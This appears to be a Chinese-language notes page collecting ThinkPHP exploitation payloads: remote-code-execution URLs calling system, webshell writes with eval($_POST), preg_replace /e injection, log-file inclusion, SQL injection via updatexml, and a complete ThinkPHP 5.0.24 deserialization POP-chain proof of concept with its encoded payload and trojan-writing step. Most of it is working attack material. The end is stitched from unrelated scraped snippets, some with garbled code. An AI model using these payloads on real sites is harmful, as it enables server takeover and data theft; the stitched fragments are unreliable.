https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
https://blog.csdn.net/weixin_40709439/article/details/86564457
1.使用错误的路径

2.采用错误的参数

# 第一个
http://127.0.0.1/cms/thinkPHP5/thinkphp_5.0.0/public/?s=captcha&test=whoami
POST _method=__construct&filter[]=system&method=GET&get[]=whoami
# 第二个
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php @eval($_POST[shell]); ?>
http://192.168.18.143/thinkphp_5.0.10/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

参数system可以换成其他函数例如phpinfo也就是说
&vars[0]=system&vars[1][]=whoami system为php内置函数,可以执行系统命令
那么vars[1][]=后面的值 就为函数的实参
test.php为写入的文件名,vars[1][]=写入的内容
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php%20@eval($_POST[%22xxx%22])?>
要在public目录下添加该paylaod,写入路径也是到public目录内
在public路径下Get传参s=captcha
POST传参_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

在public路径下Get传参s=captcha
POST传参
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_GET['tp5023'])?> " > a.php


弹出phpinfo的命令
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
命令执行
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\request/input?data[]=system('whoami')&filter=assert
?s=index/\think\Request/input&filter=system&data=whoami
https://www.cnblogs.com/cute-puli/p/14656631.html
(1)php版本<=5.6.29
(2)使用了preg_replace函数,且使用了/e的命令可执行模式;
通过报错页面发现thinkphp的版本号

获取PHP版本号

/index.php?s=/index/index/xxx/${@phpinfo()}
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

传码(注意$_POST[]这个内的连接密码不为字符,只能为数字)
/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}


https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ
https://blog.csdn.net/A1bewhy/article/details/123676942?ops_request_misc=&request_id=&biz_id=102&utm_term=Vulfocus%20thinkphp&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-1-123676942.142v5article_score_rank,157v4control&spm=1018.2226.3001.4187
方式一:
访问
index.php?m=--><?=phpinfo();?>
或者
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
我第一次发包

(是从浏览器拦截的,发现被浏览器进行了url编码,当时没在意,但是后来发现日志存的是 %3E%3C?=phpinfo();?%3E ,并没解析)
接着我手动改一下
然后访问22_04_03.log文件
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_04_03.log

今后对日志文件进行传恶意代码时,一定要从burp进行url解码之后,在发给服务器.这样才能避免传入的代码为url码的形式.从而造成无法解析代码
https://y4er.com/post/thinkphp3-vuln/
先介绍一下thinkphp3的路由格式
http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
模块/控制器/方法/参数
还可以这样
http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1
接下来咱们要从参数这个部分下手
--------------------[环境搭建]-------------------------------------
首先搭载一下环境
链接:https://pan.baidu.com/s/1LczEr3T4iMMYeZMuDwpj5A
提取码:9999
配置一下数据库thinkphp3.2.3\ThinkPHP\Conf\convention.php

然后创建个库,表,再添加点数据

然后为参数添加个查询
Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover,{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
$data = M('test')->find(I('GET.id'));
var_dump($data);
}
}
okk
--------------------------[环境搭建结束]-------------------------------------------------
访问
http://127.0.0.1/thinkphp3.2.3/?id=1

Payload:
/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)

首先修改
Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover,{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
//$data = M('test')->find(I('GET.id'));
//var_dump($data);
$User = D('test');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
}
}
首先访问http://127.0.0.1/thinkphp3.2.3/index.php?username=admin

Payload:
index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,(select database()),0x7e),1)

https://www.cnblogs.com/xiaozhiru/p/12452528.html
链接:https://pan.baidu.com/s/1mM_EmnInM3PS3YDGSukp0w
提取码:9999
下载并解压好之后我们需要构造一个漏洞环境
这里我们在Index.php中添加

<?php
namespace app\index\controller;
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
}
}
(覆盖源文件即可)

这里咱们构造的漏洞环境就是从GET传值中a参数经base64解码之后,再进行反序列操作
,这就很明显了,只要使用thinkPHP5.0.24开发的,并且使用啦反序列化函数,咱们就有可能传入恶意参数
直接上POC(Linuex Windows均可以)
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}
namespace think\model;
use think\Model;
class Merge extends Model
{
protected $append = [];
protected $error;
public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}
namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows));
(直接在本地启动Apache 服务,创建一个php文件,然后把poc粘贴进去,之后访问该php,然后就会输出base64编码的序列化字符串) (如果还不知道咋用请做完攻防世界web-10 与攻防世界web-13这俩题)
base64编码的序列化字符串
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJiYiI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6MTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjE2OiJyZW1vdmVXaGVyZUZpZWxkIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjM1OiJQRDl3YUhBS1pYWmhiQ2drWDBkRlZGc25ZU2RkS1RzS1B6NCI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NDY6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9Li8iO319fX19fX19fQ==
序列化字符串(由于base64解码之后,序列化字符串中有00截断符,我们的粘贴板遇到00截断符,就不粘贴了,我们需要用url编码一下把00截断符弄成%00)
%4f%3a%32%37%3a%22%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%22%3a%31%3a%7b%73%3a%33%34%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%00%66%69%6c%65%73%22%3b%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%4d%65%72%67%65%22%3a%32%3a%7b%73%3a%39%3a%22%00%2a%00%61%70%70%65%6e%64%22%3b%61%3a%31%3a%7b%73%3a%32%3a%22%62%62%22%3b%73%3a%38%3a%22%67%65%74%45%72%72%6f%72%22%3b%7d%73%3a%38%3a%22%00%2a%00%65%72%72%6f%72%22%3b%4f%3a%33%30%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%72%65%6c%61%74%69%6f%6e%5c%42%65%6c%6f%6e%67%73%54%6f%22%3a%31%3a%7b%73%3a%38%3a%22%00%2a%00%71%75%65%72%79%22%3b%4f%3a%32%30%3a%22%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%22%3a%32%3a%7b%73%3a%39%3a%22%00%2a%00%73%74%79%6c%65%73%22%3b%61%3a%31%3a%7b%69%3a%30%3b%73%3a%31%36%3a%22%72%65%6d%6f%76%65%57%68%65%72%65%46%69%65%6c%64%22%3b%7d%73%3a%32%38%3a%22%00%74%68%69%6e%6b%5c%63%6f%6e%73%6f%6c%65%5c%4f%75%74%70%75%74%00%68%61%6e%64%6c%65%22%3b%4f%3a%32%39%3a%22%74%68%69%6e%6b%5c%73%65%73%73%69%6f%6e%5c%64%72%69%76%65%72%5c%4d%65%6d%63%61%63%68%65%22%3a%31%3a%7b%73%3a%31%30%3a%22%00%2a%00%68%61%6e%64%6c%65%72%22%3b%4f%3a%32%38%3a%22%74%68%69%6e%6b%5c%63%61%63%68%65%5c%64%72%69%76%65%72%5c%4d%65%6d%63%61%63%68%65%64%22%3a%33%3a%7b%73%3a%36%3a%22%00%2a%00%74%61%67%22%3b%62%3a%31%3b%73%3a%31%30%3a%22%00%2a%00%6f%70%74%69%6f%6e%73%22%3b%61%3a%32%3a%7b%73%3a%36%3a%22%65%78%70%69%72%65%22%3b%69%3a%30%3b%73%3a%36%3a%22%70%72%65%66%69%78%22%3b%73%3a%33%35%3a%22%50%44%39%77%61%48%41%4b%5a%58%5a%68%62%43%67%6b%58%30%64%46%56%46%73%6e%59%53%64%64%4b%54%73%4b%50%7a%34%22%3b%7d%73%3a%31%30%3a%22%00%2a%00%68%61%6e%64%6c%65%72%22%3b%4f%3a%32%33%3a%22%74%68%69%6e%6b%5c%63%61%63%68%65%5c%64%72%69%76%65%72%5c%46%69%6c%65%22%3a%32%3a%7b%73%3a%36%3a%22%00%2a%00%74%61%67%22%3b%62%3a%30%3b%73%3a%31%30%3a%22%00%2a%00%6f%70%74%69%6f%6e%73%22%3b%61%3a%35%3a%7b%73%3a%36%3a%22%65%78%70%69%72%65%22%3b%69%3a%33%36%30%30%3b%73%3a%31%32%3a%22%63%61%63%68%65%5f%73%75%62%64%69%72%22%3b%62%3a%30%3b%73%3a%36%3a%22%70%72%65%66%69%78%22%3b%73%3a%30%3a%22%22%3b%73%3a%31%33%3a%22%64%61%74%61%5f%63%6f%6d%70%72%65%73%73%22%3b%62%3a%30%3b%73%3a%34%3a%22%70%61%74%68%22%3b%73%3a%34%36%3a%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2e%2f%22%3b%7d%7d%7d%7d%7d%7d%7d%7d%7d


(本例构造的环境是解码base64,因此咱们用base64的那个就行)
传完之后

在当前目录生成两个文件
8fba8bb6410a4aee90b063a8b7e78b73.php
963334a0506b44761722280d21785469.php
咱们访问8fba8bb6410a4aee90b063a8b7e78b73.php

(参数a可用)
http://127.0.0.1/thinkPHP5.0.24/public/8fba8bb6410a4aee90b063a8b7e78b73.php?a=phpinfo();

写入木马
[http://127.0.0.1/thinkPHP5.0.24/public/8fba8bb6410a4aee90b063a8b7e78b73.php?a=file_put_contents(%27leyu.php%27,%27%3C?php%20@eval(
P
O
S
T
[
1
]
)
?
_POST[1])?%3E%27,FILE_APPEND);](http://127.0.0.1/thinkPHP5.0.24/public/8fba8bb6410a4aee90b063a8b7e78b73.php?a=file_put_contents(%27leyu.php%27,%27%3C?php%20@eval(
POST[1])?_POST[1])?%3E%27,FILE_APPEND)😉

嗨~大家好,这里是可莉!今天给大家带来的是7个C语言的经典基础代码~那一起往下看下去把【程序一】打印100到200之间的素数#includeintmain(){ inti; for(i=100;i 【程序二】输出乘法口诀表#includeintmain(){inti;for(i=1;i 【程序三】判断1000年---2000年之间的闰年#includeintmain(){intyear;for(year=1000;year 【程序四】给定两个整形变量的值,将两个值的内容进行交换。这里提供两种方法来进行交换,第一种为创建临时变量来进行交换,第二种是不创建临时变量而直接进行交换。1.创建临时变量来
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1
漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、
📢博客主页:https://blog.csdn.net/dxt19980308📢欢迎点赞👍收藏⭐留言📝如有错误敬请指正!📢本文由肩匣与橘编写,首发于CSDN🙉📢生活依旧是美好而又温柔的,你也是✨目录🔴线性表1.1顺序表1.1.1顺序表定义1.1.2顺序表基本操作1.2单链表1.2.1单链表节点定义1.2.2单链表基本操作1.3双链表1.3.1双链表节点定义1.3.2双链表基本操作1.4静态链表🟠栈和队列2.1栈2.1.1顺序栈2.1.2链式栈2.2队列2.2.1顺序队列2.2.2链式队列2.3应用🟡串3.1串的定义与实现3.2串的模式匹配🟢树与二叉树4.1二叉树4.1.1二叉树的概念4.1.2
目录:导读前言一、测试面试基础题二、测试实战面试题三、测试基础知识点四、总结前言大部分人学软件测试的从业者,在找工作的同时,会因为软件测试面试题挡在门前。……跳槽最重要的一步自然是面试,正值跳槽季,网上出现了各种面试题,一时会让人眼花缭乱,分不清最该看哪个,所以为大家做了一些软件测试面试的真题,想跳槽的小伙伴们,请准备好你的小本本!一、测试面试基础题1、简述测试流程?2、什么是软件测试?软件测试的目的与原则?3、软件生存周期及其模型是什么?4、什么是软件质量?5、自动化测试脚本开发的主要步骤?6、目前主要的测试用例设计方法是什么?7、常见的测试用例设计方法都有哪些?请分别以具体的例子来说明这些
只是想从认识的人那里得到意见。我正在考虑CSRF漏洞,以及我所知道的似乎最流行的对抗它的方法。该方法是在返回的html中创建一个token,并添加一个具有相同值的cookie。因此,如果脚本尝试发帖,他们将必须猜测网页中嵌入的token才能成功。但如果他们针对特定网站,为什么他们不能只使用一个脚本在页面上调用get(即使脚本无法访问它也会返回cookie)解析html并获取token调用其中包含该token的帖子(返回的cookie将被发回)他们在用户不知情的情况下成功提交了表单脚本不需要知道cookie的内容,它只是利用cookie一直来回发送这一事实。我在这里错过了什么?这不可能吗
电脑蓝屏代码大全及解决办法合集代码 含意00x00000000作业完成。10x00000001不正确的函数。20x00000002系统找不到指定的档案。30x00000003系统找不到指定的路径。40x00000004系统无法开启档案。50x00000005拒绝存取。60x00000006无效的代码。70x00000007储存体控制区块已毁。80x00000008储存体空间不足,无法处理这个指令。90x00000009储存体控制区块地址无效。100x0000000A环境不正确。110x0000000B尝试加载一个格式错误的程序。120x0000000C存取码错误。130x000
在我的.NETWeb应用程序中,我通常有一个Scripts文件夹,其中包含我所有的JavaScript文件-现在主要是jQuery,偶尔还有某种JavaScript库。我正在通过名为Nexpose的扫描器对我的一个网站运行漏洞扫描,它告诉我Scripts文件夹向全世界开放-这意味着未经身份验证的用户可以下载文件夹中包含的JavaScript文件,这是一个严重的漏洞。根据Nexpose的说法,Scripts文件夹应该被限制为只允许经过身份验证的用户访问它。这引出了我的第一个问题。我如何将Scripts文件夹限制为仅经过身份验证的用户?我尝试将web.config文件放入Scripts文件